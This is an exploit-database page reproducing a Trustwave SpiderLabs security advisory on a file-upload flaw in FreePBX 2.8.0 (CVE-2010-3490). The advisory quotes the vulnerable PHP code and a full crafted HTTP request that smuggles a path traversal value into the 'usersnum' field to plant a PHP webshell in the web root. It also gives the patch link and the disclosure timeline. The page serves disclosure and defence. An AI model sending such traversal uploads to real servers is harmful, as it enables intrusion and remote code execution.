Menu

Search for hundreds of thousands of exploits

"FreePBX 2.8.0 - Recordings Interface Allows Remote Code Execution"

Author

Exploit author

"Trustwave's SpiderLabs"

Platform

Exploit platform

php

Release date

Exploit published date

2010-09-24

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
Trustwave's SpiderLabs Security Advisory TWSL2010-005:
FreePBX recordings interface allows remote code execution

https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt

Published: 2010-09-23
Version: 1.0

Vendor: FreePBX (http://www.freepbx.org/)
Product: FreePBX and VOIP solutions (AsteriskNOW, TrixBox, etc) using it
Version(s) affected: 2.8.0 and below

Product Description:
FreePBX is an easy to use GUI (graphical user interface) that controls and
manages Asterisk, the world's most popular open source telephony engine
software. FreePBX has been developed and hardened by thousands of
volunteers,has been downloaded over 5,000,000 times, and is utilized in an
estimated 500,000 active phone systems.

Source: http://www.freepbx.org
Credit: Wendel G. Henrique of Trustwave's SpiderLabs

CVE: CVE-2010-3490

Finding:
The configuration interface for FreePBX is prone to a remote arbitrary code
execution on the system recordings menu. FreePBX doesn't handle file uploads
in a secure manner, allowing an attacker to manipulate the file extension
and the beginning of the uploaded file name.

The piece of code below, found in page.recordings.php, illustrates part of
the recordings upload feature.

/* Code removed to fit better on advisory */

<?php
  if (isset($_FILES['ivrfile']['tmp_name']) &&
  is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {
    if (empty($usersnum)) {
      $dest = "unnumbered-";
    } else {
      $dest = "{$usersnum}-";
    }
    $suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);
    $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
    move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
    echo "<h6>"._("Successfully uploaded")."
      ".$_FILES['ivrfile']['name']."</h6>";
    $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');
  } ?>

/* Code removed to fit better on advisory */

When a file is uploaded, a copy is saved temporarily under the /tmp/
directory, where the name of the file is composed of
user-controlled-staticname.extension, where:

"user-controlled" is $usersnum variable.
"staticname" value is -ivrrecording.
"extension" is controlled by the user.

If $usersnum variable is not defined, then a static string (unnumbered)
is used.

Finally, when the user clicks on the save button on the System Recordings
interface, the file is saved with the original file name provided by the
user under the /var/lib/asterisk/sounds/custom/ directory.

When uploading a file, an attacker can manipulate the $usersnum variable to
perform a path traversal attack and save it anyplace that the web server
user has access, for example the Apache's DocumentRoot. This allows an
attacker to upload malicious code to the web server and execute it under the
webserver's access permissions.

The HTTP request below illustrates the upload of a phpshell.

POST /admin/config.php HTTP/1.1
Host: 10.10.1.3
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://10.10.1.3/admin/config.php
Cookie: ARI=cookieValue; PHPSESSID=cookieValue
Authorization: Basic base64auth
Content-Type: multipart/form-data;
boundary=---------------------------5991806838789183981588991120
Content-Length: 116089

-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="display"

recordings
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="action"

recordings_start
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="usersnum"

../../../../../var/www/html/admin/SpiderLabs
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
Content-Type: application/octet-stream

<?php
/* WebShell code goes here */
?>

-----------------------------5991806838789183981588991120--

To access the webshell in this example, an attacker would use
the following path: http://10.10.1.3/admin/SpiderLabs-ivrrecording.php

Maintainer Response:
The maintainer has released a patch to address this issue for all versions
of the software 2.3 and newer.

Details of the patch can be found here:
http://www.freepbx.org/trac/ticket/4553

Remediation Steps: 
Install the maintainer-provided patch.

Vendor Communication Timeline:
08/13/10 - Initial contact
08/18/10 - Vulnerability disclosed
09/16/10 - Initial fix proposed by maintainer
09/22/10 - Fix reviewed, improved, and released by maintainer
09/23/10 - Advisory public release

Revision History: 
1.0 Initial publication

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs is the advance security team at Trustwave responsible for
incident response and forensics, ethical hacking and application security
tests for Trustwave's clients. SpiderLabs has responded to hundreds of
security incidents, performed thousands of ethical hacking exercises and
tested the security of hundreds of business applications for Fortune 500
organizations. For more information visit
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2018-05-04 "IceWarp Mail Server < 11.1.1 - Directory Traversal" webapps php "Trustwave's SpiderLabs"
2017-01-30 "NETGEAR Routers - Password Disclosure" webapps hardware "Trustwave's SpiderLabs"
2015-08-27 "Oracle GlassFish Server 4.1 - Directory Traversal" webapps multiple "Trustwave's SpiderLabs"
2014-02-12 "Apache Commons FileUpload and Apache Tomcat - Denial of Service" dos multiple "Trustwave's SpiderLabs"
2014-02-11 "Tableau Server < 8.0.7 / < 8.1.2 - Blind SQL Injection" webapps windows "Trustwave's SpiderLabs"
2014-01-24 "Daum Game 1.1.0.5 - ActiveX 'IconCreate Method' Remote Stack Buffer Overflow" remote windows "Trustwave's SpiderLabs"
2014-01-24 "Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities" webapps hardware "Trustwave's SpiderLabs"
2013-09-17 "Vino VNC Server 3.7.3 - Persistent Denial of Service" dos linux "Trustwave's SpiderLabs"
2013-09-10 "AjaXplorer 1.0 - Multiple Vulnerabilities" webapps php "Trustwave's SpiderLabs"
2013-08-07 "McAfee SuperScan 4.0 - Cross-Site Scripting" webapps windows "Trustwave's SpiderLabs"
2013-08-02 "MiCasaVerde VeraLite 1.5.408 - Multiple Vulnerabilities" webapps hardware "Trustwave's SpiderLabs"
2013-08-02 "INSTEON Hub 2242-222 - Lack of Web and API Authentication" webapps hardware "Trustwave's SpiderLabs"
2013-08-02 "Karotz Smart Rabbit 12.07.19.00 - Multiple Vulnerabilities" local hardware "Trustwave's SpiderLabs"
2013-01-16 "Oracle Application Framework - Diagnostic Mode Bypass" webapps jsp "Trustwave's SpiderLabs"
2012-10-24 "Bitweaver 2.8.1 - Multiple Vulnerabilities" webapps php "Trustwave's SpiderLabs"
2012-04-19 "Scrutinizer NetFlow & sFlow Analyzer - Multiple Vulnerabilities" webapps multiple "Trustwave's SpiderLabs"
2012-01-25 "WordPress 3.3.1 - Multiple Vulnerabilities" webapps php "Trustwave's SpiderLabs"
2011-06-23 "IBM Web Application Firewall - Bypass" remote windows "Trustwave's SpiderLabs"
2011-02-06 "Comcast DOCSIS 3.0 Business Gateways - Multiple Vulnerabilities" remote hardware "Trustwave's SpiderLabs"
2010-12-12 "Clear iSpot/Clearspot 2.0.0.0 - Cross-Site Request Forgery" webapps hardware "Trustwave's SpiderLabs"
2010-11-13 "Camtron CMNC-200 IP Camera - Authentication Bypass" webapps hardware "Trustwave's SpiderLabs"
2010-11-13 "Camtron CMNC-200 IP Camera - Denial of Service" dos hardware "Trustwave's SpiderLabs"
2010-11-13 "Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow" dos hardware "Trustwave's SpiderLabs"
2010-11-13 "Camtron CMNC-200 IP Camera - Undocumented Default Accounts" webapps hardware "Trustwave's SpiderLabs"
2010-11-13 "Camtron CMNC-200 IP Camera - Directory Traversal" remote hardware "Trustwave's SpiderLabs"
2010-09-24 "FreePBX 2.8.0 - Recordings Interface Allows Remote Code Execution" webapps php "Trustwave's SpiderLabs"
2010-08-03 "EMC Celerra NAS Appliance - Unauthorized Access to Root NFS Export" remote hardware "Trustwave's SpiderLabs"
2009-05-24 "Cisco ASA Appliance 8.x - WebVPN DOM Wrapper Cross-Site Scripting" remote hardware "Trustwave's SpiderLabs"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.